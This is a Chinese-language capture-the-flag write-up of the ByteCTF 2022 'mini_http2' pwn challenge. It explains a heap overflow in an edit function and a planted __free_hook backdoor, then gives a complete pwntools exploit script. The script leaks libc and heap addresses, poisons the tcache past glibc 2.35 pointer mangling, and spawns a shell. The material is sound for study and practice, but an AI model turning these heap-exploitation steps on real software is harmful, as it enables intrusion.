ByteCTF2022-PWN-复现

今年bytectf没来得及去打,但是题目质量是很高的,现在重新做一下当时的题

PWN

mini_http2

分析

libc的版本是2.35,但是main函数的开头将__free_hook的地址存到了bss段上,有点东西。

1668849923953.png

交叉引用看了下,果然存在后门,如果将system的地址写入__free_hook中,就能执行system(s1);

1668850053122.png

继续逆。发现在注册功能中,s1直接就是get传参传进来的username的值。

1668850217566.png

登录功能也直接白给了libc上的地址,

1668850305271.png

比较要命的地方来了。post和get传参逆的时候其实都还不算累,但是审管理堆块的功能时,发现他对表达式的解析有一点诡异(可能只是我之前没见过,熟练的师傅都一眼顶针了)

sub_2EB9函数中对postdata的解析极其复杂,以至于我逆了相当长一段时间。然后发现,这不就是json的格式吗(捂脸哭)

下面来看一下用得上的功能:

  • add_worker:
1668850636058.png

使用的是strdup来调用malloc创建堆块,大小控制在0x110以内,数量最多16个,创建完成过后会白给堆上的指针。

  • del_worker:
1668850849248.png
1668850889535.png

删除功能中不存在直接的uaf

  • edit_worker:
1668850969805.png

问题主要就出在这个功能中,直接使用memcpy将传入的数据拷贝到指定堆块中去,并没有和创建时的大小进行比较。所以是存在堆溢出的,但是由于判断长度使用的是strlen,所以payload会被\x00截断。

接下来就是构造堆溢出,劫持tcache bin的链表,整个过程并不复杂,但由于该题在处理协议的时候使用了大量的mallocfree,所以堆布局相对来说十分混乱,需要注意一下。且版本是2.35,在tcache bin和fastbin的单链表中都有宏去保护指针,需要处理一下。

(逆协议的过程就省去了,有不理解的地方的话可以参考exp来理解,或者直接联系我)

exp

from pwn import *
context.log_level = 'debug'

p = process('./mini_http2')
elf = ELF('./mini_http2')
libc = elf.libc

sla = lambda x,y : p.sendlineafter(x,y)
sa  = lambda x,y : p.sendafter(x,y)
ru  = lambda x   : p.recvuntil(x)

def g(arg=''):
	gdb.attach(p)
	raw_input()

def get(url):
	pay = b'\x00' + p16(len(url)+7)[::-1] + b'\x01\x05'
	pay = pay.ljust(0x9, b'\x00')
	p.send(pay)
	pay = b'\x82\x86\x44' + p32(len(url))[::-1]
	pay += url
	p.send(pay)

def post(url, postdata):
	pay = b'\x00' + p16(len(url)+7)[::-1] + b'\x01\x05'
	pay = pay.ljust(0x9, b'\x00')
	p.send(pay)
	pay = b'\x83\x86\x44' + p32(len(url))[::-1]
	pay += url
	p.send(pay)
	pay = b'\x00' + p16(len(postdata))[::-1]
	pay = pay.ljust(0x9, b'\x00')
	p.send(pay)
	p.send(postdata)

def add_worker(name, desc):
	pay = b'{"name": "' + name + b'", '
	pay += b'"desc": "' + desc + b'"}'
	post(b'/api/add_worker', pay)

def del_worker(idx):
	pay = b'{"worker_idx": ' + idx + b' }'
	post(b'/api/del_worker', pay)

def edit_worker(name, desc, idx):
	pay = b'{"name": "' + name + b'", '
	pay += b'"desc": "' + desc + b'",'
	pay += b'"worker_idx": ' + idx + b' }'
	post(b'/api/edit_worker', pay)

get(b'/register?username=/bin/sh&password=kotori')
get(b'/login?username=/bin/sh&password=kotori')

ru('\'gift\': "0x')
libcbase = int(ru('}')[:-2], 16) - 0xc4200
# print(hex(libcbase))
hook = libcbase + libc.symbols['__free_hook']
system = libcbase + libc.symbols['system']

add_worker(b'1'*0x80, b'2'*0x80) # 0
ru('name_addr": "0x')
heapbase = int(ru('"')[:-1], 16) - 0x800
# print(hex(heapbase))

add_worker(b'3'*0x80, b'4'*0x80) # 1
add_worker(b'5'*0x80, b'6'*0x80) # 2
del_worker(b'1')
del_worker(b'2')

add_worker(b'7'*0x80, b'8'*0x8) # 1
add_worker(b'9'*0x80, b'a'*0x8) # 2
add_worker(b'b'*0x80, b'c'*0x8) # 3
add_worker(b'd'*0x80, b'e'*0x8) # 4
del_worker(b'2')
del_worker(b'4')

pay = b'a'*0x90 + p64(((heapbase+0xa00)>>12)^(hook-0x78))[:6]
edit_worker(pay, b'kotori', b'3')

add_worker(b'9'*0x80, b'a'*0x8) # 2
pay = b'a'*0x78 + p64(system)[:6]
add_worker(pay, b'a'*0x8) # 4

get(b'/exit')

# g()

p.interactive()

(待续)